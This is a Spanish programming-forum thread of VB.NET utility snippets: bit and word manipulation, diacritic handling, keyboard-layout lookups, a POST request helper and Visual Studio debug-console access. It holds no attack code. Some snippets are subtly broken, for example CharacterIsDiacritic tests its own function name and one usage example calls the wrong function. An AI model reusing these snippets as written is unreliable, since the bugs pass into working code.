  5.    ' MsgBox(GetLoWord(13959358I)) ' Result: 190S
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the low-order word of an 'Int32' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int32' value that contains both the LoWord and the HiWord.</param>
  11.    ''' <returns>The return value is the low-order word.</returns>
  12.    Public Shared Function GetLoWord(ByVal value As Integer) As Short
  13.  
  14.        Return BitConverter.ToInt16(BitConverter.GetBytes(value), 0)
  15.  
  16.    End Function

Código
  1.    ' Get HiWord
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetHiWord(13959358I)) ' Result: 213S
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the high-order word of an 'Int32' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int32' value that contains both the LoWord and the HiWord.</param>
  11.    ''' <returns>The return value is the high-order word.</returns>
  12.    Public Shared Function GetHiWord(ByVal value As Integer) As Short
  13.  
  14.        Return BitConverter.ToInt16(BitConverter.GetBytes(value), 2)
  15.  
  16.    End Function

Código
  1.    ' Get LoDword (As Unsigned Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetLoDword(328576329396160UL)) ' Result: 2741317568UI
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the low-order double word of an 'UInt64' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'UInt64' value that contains both the LoDword and the HiDword.</param>
  11.    ''' <returns>The return value is the low-order double word.</returns>
  12.    Public Shared Function GetLoDword(ByVal value As ULong) As UInteger
  13.  
  14.        Return BitConverter.ToUInt32(BitConverter.GetBytes(value), 0)
  15.  
  16.    End Function

Código
  1.    ' Get HiDword (As Unsigned Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetHiDword(328576329396160UL)) ' Result: 76502UI
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the high-order double word of an 'UInt64' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'UInt64' value that contains both the LoDword and the HiDword.</param>
  11.    ''' <returns>The return value is the high-order double word.</returns>
  12.    Public Shared Function GetHiDword(ByVal value As ULong) As UInteger
  13.  
  14.        Return BitConverter.ToUInt32(BitConverter.GetBytes(value), 4)
  15.  
  16.    End Function

Código
  1.    ' Get LoDword (As Signed Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetLoDword(328576329396160L)) ' Result: -1553649728I
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the low-order double word of an 'Int64' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
  11.    ''' <returns>The return value is the low-order double word.</returns>
  12.    Public Shared Function GetLoDword(ByVal value As Long) As Integer
  13.  
  14.        Return BitConverter.ToInt32(BitConverter.GetBytes(value), 0)
  15.  
  16.    End Function

Código
  1.    ' Get HiDword (As Signed Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetHiDword(328576329396160L)) ' Result: 76502I
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the high-order double word of an 'Int64' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
  11.    ''' <returns>The return value is the high-order double word.</returns>
  12.    Public Shared Function GetHiDword(ByVal value As Long) As Integer
  13.  
  14.        Return BitConverter.ToInt32(BitConverter.GetBytes(value), 4)
  15.  
  16.    End Function

Código
  1.    ' Make Word
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(MakeWord(51S, 6S)) ' Result: 1587S
  6.    '
  7.    ''' <summary>
  8.    ''' Makes an 'Int16' value from two bytes.
  9.    ''' </summary>
  10.    ''' <param name="LoByte">Indicates the low-order byte.</param>
  11.    ''' <param name="HiByte">Indicates the high-order byte.</param>
  12.    ''' <returns>The 'Int16' value.</returns>
  13.    Public Shared Function MakeWord(ByVal LoByte As Byte,
  14.                                    ByVal HiByte As Byte) As Short
  15.  
  16.        Return BitConverter.ToInt16(New Byte() {LoByte, HiByte}, 0)
  17.  
  18.    End Function

Código
  1.    ' Make Dword
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(MakedWord(190S, 213S)) ' Result: 13959358I
  6.    '
  7.    ''' <summary>
  8.    ''' Makes an 'Int32' value from two 'Int16' values.
  9.    ''' </summary>
  10.    ''' <param name="LoWord">Indicates the low-order word.</param>
  11.    ''' <param name="HiWord">Indicates the high-order word.</param>
  12.    ''' <returns>The 'Int32' value.</returns>
  13.    Public Shared Function MakeDword(ByVal LoWord As Short,
  14.                                     ByVal HiWord As Short) As Integer
  15.  
  16.        Dim LoBytes As Byte() = BitConverter.GetBytes(LoWord)
  17.        Dim HiBytes As Byte() = BitConverter.GetBytes(HiWord)
  18.        Dim Combined As Byte() = LoBytes.Concat(HiBytes).ToArray
  19.  
  20.        Return BitConverter.ToInt32(Combined, 0)
  21.  
  22.    End Function

Código
  1.    ' Make Long (From An Unsigned Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(MakeLong(2741317568UI, 76502UI)) ' Result: 328576329396160UL
  6.    '
  7.    ''' <summary>
  8.    ''' Makes an 'UInt64' value from two 'UInt32' values.
  9.    ''' </summary>
  10.    ''' <param name="LoDword">Indicates the low-order Dword.</param>
  11.    ''' <param name="HiDword">Indicates the high-order Dword.</param>
  12.    ''' <returns>The 'UInt64' value.</returns>
  13.    Public Shared Function MakeLong(ByVal LoDword As UInteger,
  14.                                    ByVal HiDword As UInteger) As ULong
  15.  
  16.        Dim LoBytes As Byte() = BitConverter.GetBytes(LoDword)
  17.        Dim HiBytes As Byte() = BitConverter.GetBytes(HiDword)
  18.        Dim Combined As Byte() = LoBytes.Concat(HiBytes).ToArray
  19.  
  20.        Return BitConverter.ToUInt64(Combined, 0)
  21.  
  22.    End Function

Código
  1.    ' Make Long (From a Signed Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(MakeLong(-1553649728I, 76502I)) ' Result: 328576329396160L
  6.    '
  7.    ''' <summary>
  8.    ''' Makes an 'Int64' value from two 'Int32' values.
  9.    ''' </summary>
  10.    ''' <param name="LoDword">Indicates the low-order Dword.</param>
  11.    ''' <param name="HiDword">Indicates the high-order Dword.</param>
  12.    ''' <returns>The 'Int64' value.</returns>
  13.    Public Shared Function MakeLong(ByVal LoDword As Integer,
  14.                                    ByVal HiDword As Integer) As Long
  15.  
  16.        Dim LoBytes As Byte() = BitConverter.GetBytes(LoDword)
  17.        Dim HiBytes As Byte() = BitConverter.GetBytes(HiDword)
  18.        Dim Combined As Byte() = LoBytes.Concat(HiBytes).ToArray
  19.  
  20.        Return BitConverter.ToInt64(Combined, 0)
  21.  
  22.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 9 Marzo 2014, 17:31 pm
Algunos métodos más sobre bytes.

Código
  1.    ' Set LoByte
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(SetHiByte(321, 0S)) ' Result: 65S
  6.    '
  7.    ''' <summary>
  8.    ''' Sets the low-order byte of an 'Int16' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int16' value that contains both the LoByte and the HiByte.</param>
  11.    ''' <param name="NewLoByte">Indicates the new LoByte, a 'Byte' value.</param>
  12.    ''' <returns>The 'Int16' value containing both the HiByte and the new LoByte.</returns>
  13.    Private Function SetLoByte(ByVal Value As Short,
  14.                               ByVal NewLoByte As Byte) As Short
  15.  
  16.        Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
  17.        ValueBytes(0) = NewLoByte
  18.  
  19.        Return BitConverter.ToInt16(ValueBytes, 0)
  20.  
  21.    End Function

Código
  1.    ' Set HiByte
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(SetHiByte(65S, 1S)) ' Result: 321S
  6.    '
  7.    ''' <summary>
  8.    ''' Sets the high-order byte of an 'Int16' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int16' value that contains both the LoByte and the HiByte.</param>
  11.    ''' <param name="NewHiByte">Indicates the new HiByte, a 'Byte' value.</param>
  12.    ''' <returns>The 'Int16' value containing both the LoByte and the new HiByte.</returns>
  13.    Private Function SetHiByte(ByVal Value As Short,
  14.                               ByVal NewHiByte As Byte) As Short
  15.  
  16.        Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
  17.        ValueBytes(1) = NewHiByte
  18.  
  19.        Return BitConverter.ToInt16(ValueBytes, 0)
  20.  
  21.    End Function

Código
  1.    ' Set LoWord
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(SetLoWord(13959358I, 6S)) ' Result: 13959174I
  6.    '
  7.    ''' <summary>
  8.    ''' Sets the low-order word of an 'Int32' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int32' value that contains both the LoWord and the HiWord.</param>
  11.    ''' <param name="NewLoWord">Indicates the new LoWord, an 'Int16' value.</param>
  12.    ''' <returns>The 'Int32' value containing both the HiWord and the new LoWord.</returns>
  13.    Private Function SetLoWord(ByVal Value As Integer,
  14.                               ByVal NewLoWord As Short) As Integer
  15.  
  16.        Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
  17.        Dim LoWordBytes As Byte() = BitConverter.GetBytes(NewLoWord)
  18.  
  19.        ValueBytes(0) = LoWordBytes(0)
  20.        ValueBytes(1) = LoWordBytes(1)
  21.  
  22.        Return BitConverter.ToInt32(ValueBytes, 0)
  23.  
  24.    End Function

Código
  1.    ' Set HiWord
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(SetHiWord(13959358I, 25S)) ' Result: 1638590I
  6.    '
  7.    ''' <summary>
  8.    ''' Sets the high-order word of an 'Int32' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int32' value that contains both the LoWord and the HiWord.</param>
  11.    ''' <param name="NewHiWord">Indicates the new HiWord, an 'Int16' value.</param>
  12.    ''' <returns>The 'Int32' value containing both the LoWord and the new HiWord.</returns>
  13.    Private Function SetHiWord(ByVal Value As Integer,
  14.                               ByVal NewHiWord As Short) As Integer
  15.  
  16.        Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
  17.        Dim HiWordBytes As Byte() = BitConverter.GetBytes(NewHiWord)
  18.  
  19.        ValueBytes(2) = HiWordBytes(0)
  20.        ValueBytes(3) = HiWordBytes(1)
  21.  
  22.        Return BitConverter.ToInt32(ValueBytes, 0)
  23.  
  24.    End Function

Código
  1.    ' Set LoDword (From a Signed Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(SetLoDword(328576329396160L, -1553649828I)) ' Result: 328576329396060L
  6.    '
  7.    ''' <summary>
  8.    ''' Sets the low-order double word of an 'Int64' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
  11.    ''' <param name="NewLoDword">Indicates the new LoDword, an 'Int32' value.</param>
  12.    ''' <returns>The 'Int64' value containing both the HiDword and the new LoDword.</returns>
  13.    Private Function SetLoDword(ByVal Value As Long,
  14.                                ByVal NewLoDword As Integer) As Long
  15.  
  16.        Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
  17.        Dim LoDwordBytes As Byte() = BitConverter.GetBytes(NewLoDword)
  18.  
  19.        ValueBytes(0) = LoDwordBytes(0)
  20.        ValueBytes(1) = LoDwordBytes(1)
  21.        ValueBytes(2) = LoDwordBytes(2)
  22.        ValueBytes(3) = LoDwordBytes(3)
  23.  
  24.        Return BitConverter.ToInt64(ValueBytes, 0)
  25.  
  26.    End Function

Código
  1.    ' Set HiDword (From a Signed Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(SetHiDword(328576329396160L, 987654321I)) ' Result: 4241943011189403584L
  6.    '
  7.    ''' <summary>
  8.    ''' Sets the high-order double word of an 'Int64' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
  11.    ''' <param name="NewHiDword">Indicates the new HiDword, an 'Int32' value.</param>
  12.    ''' <returns>The 'Int64' value containing both the LoDword and the new HiDword.</returns>
  13.    Private Function SetHiDword(ByVal Value As Long,
  14.                                ByVal NewHiDword As Integer) As Long
  15.  
  16.        Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
  17.        Dim HiDwordBytes As Byte() = BitConverter.GetBytes(NewHiDword)
  18.  
  19.        ValueBytes(4) = HiDwordBytes(0)
  20.        ValueBytes(5) = HiDwordBytes(1)
  21.        ValueBytes(6) = HiDwordBytes(2)
  22.        ValueBytes(7) = HiDwordBytes(3)
  23.  
  24.        Return BitConverter.ToInt64(ValueBytes, 0)
  25.  
  26.    End Function

Código
  1.    ' Set LoDword (From an Unsigned Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(SetLoDword(328576329396160L, 123456789UI)) ' Result: 328573711535381L
  6.    '
  7.    ''' <summary>
  8.    ''' Sets the low-order double word of an 'Int64' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
  11.    ''' <param name="NewLoDword">Indicates the new LoDword, an 'UInt32' value.</param>
  12.    ''' <returns>The 'Int64' value containing both the HiDword and the new LoDword.</returns>
  13.    Private Function SetLoDword(ByVal Value As Long,
  14.                                ByVal NewLoDword As UInteger) As Long
  15.  
  16.        Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
  17.        Dim LoDwordBytes As Byte() = BitConverter.GetBytes(NewLoDword)
  18.  
  19.        ValueBytes(0) = LoDwordBytes(0)
  20.        ValueBytes(1) = LoDwordBytes(1)
  21.        ValueBytes(2) = LoDwordBytes(2)
  22.        ValueBytes(3) = LoDwordBytes(3)
  23.  
  24.        Return BitConverter.ToInt64(ValueBytes, 0)
  25.  
  26.    End Function

Código
  1.    ' Set HiDword (From an Unsigned Integer)
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(SetHiDword(328576329396160L, 987654321UI)) ' Result: 4241943011189403584L
  6.    '
  7.    ''' <summary>
  8.    ''' Sets the high-order double word of an 'Int64' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
  11.    ''' <param name="NewHiDword">Indicates the new HiDword, an 'UInt32' value.</param>
  12.    ''' <returns>The 'Int64' value containing both the LoDword and the new HiDword.</returns>
  13.    Private Function SetHiDword(ByVal Value As Long,
  14.                                ByVal NewHiDword As UInteger) As Long
  15.  
  16.        Dim ValueBytes As Byte() = BitConverter.GetBytes(Value)
  17.        Dim HiDwordBytes As Byte() = BitConverter.GetBytes(NewHiDword)
  18.  
  19.        ValueBytes(4) = HiDwordBytes(0)
  20.        ValueBytes(5) = HiDwordBytes(1)
  21.        ValueBytes(6) = HiDwordBytes(2)
  22.        ValueBytes(7) = HiDwordBytes(3)
  23.  
  24.        Return BitConverter.ToInt64(ValueBytes, 0)
  25.  
  26.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Marzo 2014, 21:08 pm
Determina si un caracter es diacrítico o si contiene una marca diacrítica (no es 100% efectivo con caracteres demasiado raros de otras culturas)

Código
  1.    ' Character Is Diacritic?
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(CharacterIsDiacritic("á")) ' Result: True
  6.    '
  7.    ''' <summary>
  8.    ''' Determines whether a character is diacritic or else contains a diacritical mark.
  9.    ''' </summary>
  10.    ''' <param name="Character">Indicates the character.</param>
  11.    ''' <returns><c>true</c> if character is diacritic or contains a diacritical mark, <c>false</c> otherwise.</returns>
  12.    Public Function CharacterIsDiacritic(ByVal Character As Char) As Boolean
  13.  
  14.        If String.IsNullOrEmpty(CharacterIsDiacritic) Then
  15.  
  16.            Return False
  17.        Else
  18.            Dim Descomposed As Char() = Character.ToString.Normalize(System.Text.NormalizationForm.FormKD).ToCharArray
  19.            Return (Descomposed.Count <> 1 OrElse String.IsNullOrWhiteSpace(Descomposed))
  20.  
  21.        End If
  22.  
  23.    End Function




Convierte un caracter diacritico

Código
  1.    ' Convert Diacritic Character
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(ConvertDiacritic("á", UnicodeNormalization:=System.Text.NormalizationForm.FormKD)) ' Result: 'a'
  6.    '
  7.    ''' <summary>
  8.    ''' Converts the diacritic characters in a String to an equivalent normalized English characters.
  9.    ''' </summary>
  10.    ''' <param name="Character">
  11.    ''' Indicates the diacritic character.
  12.    ''' </param>
  13.    ''' <param name="UnicodeNormalization">
  14.    ''' Defines the type of Unicode character normalization to perform.
  15.    ''' (Default is 'NormalizationForm.FormKD')
  16.    ''' </param>
  17.    ''' <returns>The converted character.</returns>
  18.    Public Function ConvertDiacritic(ByVal Character As Char,
  19.                                     Optional ByVal UnicodeNormalization As System.Text.NormalizationForm =
  20.                                                                            System.Text.NormalizationForm.FormKD) As String
  21.  
  22.        Dim Chars As Char() =
  23.            CStr(Character).Normalize(System.Text.NormalizationForm.FormKD).ToCharArray
  24.  
  25.        For Each c As Char In Chars
  26.  
  27.            Select Case Globalization.CharUnicodeInfo.GetUnicodeCategory(c)
  28.  
  29.                Case Globalization.UnicodeCategory.NonSpacingMark,
  30.                     Globalization.UnicodeCategory.SpacingCombiningMark,
  31.                     Globalization.UnicodeCategory.EnclosingMark
  32.  
  33.                    ' Do nothing.
  34.                    Exit Select
  35.  
  36.                Case Else
  37.                    Return c
  38.  
  39.            End Select
  40.  
  41.        Next c
  42.  
  43.        Return Character
  44.  
  45.    End Function



Obtiene el keyboardlayout

Código
  1.    ' Get Keyboard Layout
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetKeyboardLayout(IntPtr.Zero)) ' Result: 10
  6.    ' MsgBox(GetKeyboardLayout(Process.GetCurrentProcess.MainWindowHandle)) ' Result: 10
  7.    '
  8.    ''' <summary>
  9.    ''' Retrieves the active input locale identifier (formerly called the keyboard layout).
  10.    ''' </summary>
  11.    ''' <param name="idThread">
  12.    ''' A window handle identifier of the thread to query, or 'IntPtr.Zero' to query the current thread.
  13.    ''' </param>
  14.    ''' <returns>
  15.    ''' The return value is the input locale identifier for the thread.
  16.    ''' </returns>
  17.    Public Shared Function GetKeyboardLayout(Optional ByVal idThread As IntPtr = Nothing) As Short
  18.  
  19.        Return BitConverter.GetBytes(APIGetKeyboardLayout(idThread)).First
  20.  
  21.    End Function
  22.  
  23.    ''' <summary>
  24.    ''' Retrieves the active input locale identifier (formerly called the keyboard layout).
  25.    ''' </summary>
  26.    ''' <param name="idThread">
  27.    ''' A window handle identifier of the thread to query, or 'IntPtr.Zero' to query the current thread.
  28.    ''' </param>
  29.    ''' <returns>
  30.    ''' The return value is the input locale identifier for the thread.
  31.    '''
  32.    ''' The low-order byte contains a Language Identifier for the input language,
  33.    ''' and the high-order byte contains a device handle to the physical layout of the keyboard.
  34.    ''' </returns>
  35.    <System.Runtime.InteropServices.DllImport("user32.dll", EntryPoint:="GetKeyboardLayout",
  36.    CharSet:=System.Runtime.InteropServices.CharSet.Unicode)>
  37.    Private Shared Function APIGetKeyboardLayout(
  38.                            Optional ByVal idThread As IntPtr = Nothing
  39.    ) As UInteger
  40.    End Function



Obtiene el keycode de un caracter (ojo, no el keycode virtual).

Código
  1.    ' Get KeyCode
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetKeyCode("a")) ' Result: 65
  6.    ' MsgBox(GetKeyCode("á")) ' Result: 65
  7.    ' MsgBox(GetKeyCode("á", IntPtr.Zero)) ' Result: 65
  8.    ' MsgBox(GetKeyCode("a", Process.GetCurrentProcess.MainWindowHandle)) ' Result: 65
  9.    '
  10.    'Private Sub Test() Handles MyBase.Shown
  11.    '    Dim sb As New System.Text.StringBuilder
  12.    '    Dim Characters As Char() = "ABCDEFGHIJKLMNOPQRSTUVWXYZ ñÑçÇ áéíóú ÁÉÍÓÚ àèìòù ÀÈÌÒÙ äëïÖÜ ÄËÏÖÜ º\'¡`+´-.,ª!·$%&/()=?¿".ToCharArray
  13.    '    For Each c As Char In Characters
  14.    '        sb.AppendFormat("Character: {0}", CStr(c))
  15.    '        sb.AppendLine()
  16.    '        sb.AppendFormat("KeyCode  : {0}", CStr(GetKeyCode(c, IntPtr.Zero)))
  17.    '        MessageBox.Show(sb.ToString)
  18.    '        sb.Clear()
  19.    '    Next c
  20.    'End Sub
  21.  
  22.    ''' <summary>
  23.    ''' Translates a character to the corresponding keycode.
  24.    ''' </summary>
  25.    ''' <param name="Character">Indicates the character.</param>
  26.    ''' <param name="KeyboardLayout">Indicates the keyboard layout.</param>
  27.    ''' <returns>
  28.    ''' If the function succeeds, the return value contains the keycode.
  29.    '''
  30.    ''' If the function finds no key that translates to the passed character code,
  31.    ''' the return value contains "-1".
  32.    ''' </returns>
  33.    Public Shared Function GetKeyCode(ByVal Character As Char,
  34.                                      Optional ByVal KeyboardLayout As IntPtr = Nothing) As Short
  35.  
  36.        ' Get the Keycode of the character.
  37.        Dim Keycode As Short =
  38.            BitConverter.GetBytes(VkKeyScanEx(Character)).First
  39.  
  40.        Select Case Keycode
  41.  
  42.            Case Is <> 255S ' Character is found on the current KeyboardLayout.
  43.                Return Keycode
  44.  
  45.            Case Else ' Character is not found on the current KeyboardLayout.
  46.  
  47.                ' Descompose the character.
  48.                Dim Descomposed As Char() =
  49.                    Character.ToString.Normalize(System.Text.NormalizationForm.FormKD).ToCharArray
  50.  
  51.                ' If character is diacritic then...
  52.                If Descomposed.Count <> 1 OrElse String.IsNullOrWhiteSpace(Descomposed) Then
  53.  
  54.                    For Each c As Char In Descomposed
  55.  
  56.                        Select Case Globalization.CharUnicodeInfo.GetUnicodeCategory(c)
  57.  
  58.                            Case Globalization.UnicodeCategory.NonSpacingMark,
  59.                                 Globalization.UnicodeCategory.SpacingCombiningMark,
  60.                                 Globalization.UnicodeCategory.EnclosingMark
  61.  
  62.                                ' Do nothing.
  63.                                Exit Select
  64.  
  65.                            Case Else ' Character is diacritic so we convert the diacritic and try to find the Keycode.
  66.                                Return GetKeyCode(c, KeyboardLayout)
  67.  
  68.                        End Select
  69.  
  70.                    Next c
  71.  
  72.                End If ' Chars.Count <> 1
  73.  
  74.        End Select ' Keycode
  75.  
  76.        Return -1S ' Character is not diacritic and the keycode is not found.
  77.  
  78.    End Function
  79.  
  80.    ''' <summary>
  81.    ''' Translates a character to the corresponding virtual-key code and shift state.
  82.    ''' The function translates the character using the input language and
  83.    ''' physical keyboard layout identified by the input locale identifier.
  84.    ''' For more info see here:
  85.    ''' http://msdn.microsoft.com/en-us/library/ms646332%28v=VS.85%29.aspx
  86.    ''' </summary>
  87.    ''' <param name="c">Indicates the character.</param>
  88.    ''' <param name="KeyboardLayout">Indicates the keyboard layout.</param>
  89.    ''' <returns>
  90.    ''' If the function succeeds,
  91.    ''' the low-order byte of the return value contains the virtual-key code,
  92.    ''' and the high-order byte contains the shift state.
  93.    '''
  94.    ''' If the function finds no key that translates to the passed character code,
  95.    ''' both the low-order and high-order bytes contain '255'.
  96.    ''' </returns>
  97.    <System.Runtime.InteropServices.DllImport("user32.dll",
  98.    CharSet:=System.Runtime.InteropServices.CharSet.Unicode)>
  99.    Private Shared Function VkKeyScanEx(
  100.                            ByVal c As Char,
  101.                            Optional ByVal KeyboardLayout As IntPtr = Nothing
  102.    ) As Short
  103.    End Function



Envio de peticion por el método POST

Código
  1.    ' Send POST
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    '
  6.    'Dim Response As String =
  7.    '    SendPOST("http://es.wikipedia.org/wiki/Special:Search?",
  8.    '             New Dictionary(Of String, String) From {
  9.    '                 {"search", "Petición+POST"},
  10.    '                 {"sourceid", "Mozilla-search"}
  11.    '             }) ' Formated POST Data: "search=Petición+POST&sourceid=Mozilla-search"
  12.    'Clipboard.SetText(Response) ' Copy the response to Clipboard.
  13.    '
  14.    ''' <summary>
  15.    ''' Sends a POST method petition and returns the server response.
  16.    ''' </summary>
  17.    ''' <param name="URL">Indicates the URL.</param>
  18.    ''' <param name="PostData">Indicates the post data.</param>
  19.    ''' <returns>The response.</returns>
  20.    Public Function SendPOST(ByVal URL As String,
  21.                             ByVal PostData As Dictionary(Of String, String)) As String
  22.  
  23.        Dim Data As New System.Text.StringBuilder ' PostData to send, formated.
  24.        Dim Request As Net.HttpWebRequest = HttpWebRequest.Create(URL) ' HTTP Request.
  25.        Dim Response As HttpWebResponse ' Server response.
  26.        Dim ResponseContent As String ' Server response result.
  27.  
  28.        ' Set and format the post data of the query.
  29.        For Each Item As KeyValuePair(Of String, String) In PostData
  30.            Data.AppendFormat("{0}={1}&", Item.Key, Item.Value)
  31.        Next Item
  32.  
  33.        ' Set the Request properties.
  34.        With Request
  35.            .Method = "POST"
  36.            .ContentType = "application/x-www-form-urlencoded"
  37.            .ContentLength = Data.ToString.Length
  38.            .Proxy = Nothing
  39.            ' .UserAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0"
  40.        End With
  41.  
  42.        ' Write the POST data bytes into the Stream.
  43.        Using RequestStream As IO.Stream = Request.GetRequestStream()
  44.            RequestStream.Write(System.Text.Encoding.UTF8.GetBytes(Data.ToString), 0, Data.ToString.Length)
  45.            RequestStream.Close()
  46.        End Using
  47.  
  48.        ' Get the response.
  49.        Response = Request.GetResponse()
  50.  
  51.        ' Get the response content.
  52.        Using Reader As New IO.StreamReader(Response.GetResponseStream)
  53.            ResponseContent = Reader.ReadToEnd
  54.            Response.Close()
  55.        End Using
  56.  
  57.        ' Return the response content.
  58.        Return ResponseContent
  59.  
  60.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Synth3tik0 en 17 Marzo 2014, 19:34 pm
uuh u_u esperaba q fueran para c#


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: z3nth10n en 6 Abril 2014, 19:09 pm
Usa esta herramienta:

http://www.developerfusion.com/tools/convert/vb-to-csharp/


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Agosto 2014, 08:41 am
Como limpiar la consola de depuración, en cualquier momento:
Nota: Asegurarse de no tener más de 1 instancia de VisualStudio en ejecución.

Código
  1.    ' Clear Debug-Console Output
  2.    ' By Elektro
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'EnvDTE' and 'envdte80'
  6.    '
  7.    ''' <summary>
  8.    ''' Clears the debug console output.
  9.    ''' </summary>
  10.    Public Sub ClearDebugConsoleOutput()
  11.  
  12.        DirectCast(Runtime.InteropServices.Marshal.GetActiveObject("VisualStudio.DTE.12.0"), EnvDTE80.DTE2).
  13.                   ToolWindows.OutputWindow.OutputWindowPanes.Item("Debug").Clear()
  14.  
  15.    End Sub





Como obtener el output de la consola de depuración, en cualquier momento:
Nota: Asegurarse de no tener más de 1 instancia de VisualStudio en ejecución.

Código
  1.    ' Get Debug-Console Output
  2.    ' By Elektro
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'EnvDTE' and 'envdte80'
  6.    '
  7.    ' Usage Examples:
  8.    '
  9.    ' Clipboard.SetText(GetDebugConsoleOutput)
  10.    '
  11.    ''' <summary>
  12.    ''' Gets the debug console output.
  13.    ''' </summary>
  14.    ''' <returns>System.String.</returns>
  15.    Public Function GetDebugConsoleOutput() As String
  16.  
  17.        Dim Output As EnvDTE.TextSelection =
  18.            DirectCast(Runtime.InteropServices.Marshal.GetActiveObject("VisualStudio.DTE.12.0"), EnvDTE80.DTE2).
  19.                       ToolWindows.OutputWindow.OutputWindowPanes.Item("Debug").TextDocument.Selection
  20.  
  21.        Output.SelectAll()
  22.        Return Output.Text
  23.  
  24.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Agosto 2014, 08:43 am
Como promprobar si un Type es serializable:

Código
  1.    ' Is Type Serializable?
  2.    ' By Elektro
  3.    '
  4.    ' Usage Examples:
  5.    '
  6.    'MsgBox(IsTypeSerializable(Of String))
  7.    'MsgBox(IsTypeSerializable(GetType(Form)))
  8.    'MsgBox(IsTypeSerializable(0.0F.GetType))
  9.    '
  10.    ''' <summary>
  11.    ''' Determines whether a Type can be serialized.
  12.    ''' </summary>
  13.    ''' <typeparam name="T"></typeparam>
  14.    ''' <returns><c>true</c> if Type can be serialized; otherwise, <c>false</c>.</returns>
  15.    Private Function IsTypeSerializable(Of T)() As Boolean
  16.  
  17.        Return Attribute.IsDefined(GetType(T), GetType(SerializableAttribute))
  18.  
  19.    End Function
  20.  
  21.    ''' <summary>
  22.    ''' Determines whether a Type can be serialized.
  23.    ''' </summary>
  24.    ''' <typeparam name="T"></typeparam>
  25.    ''' <param name="Type">The Type.</param>
  26.    ''' <returns><c>true</c> if Type can be serialized; otherwise, <c>false</c>.</returns>
  27.    Private Function IsTypeSerializable(Of T)(ByVal Type As T) As Boolean
  28.  
  29.        Return Attribute.IsDefined(GetType(T), GetType(SerializableAttribute))
  30.  
  31.    End Function
  32.  



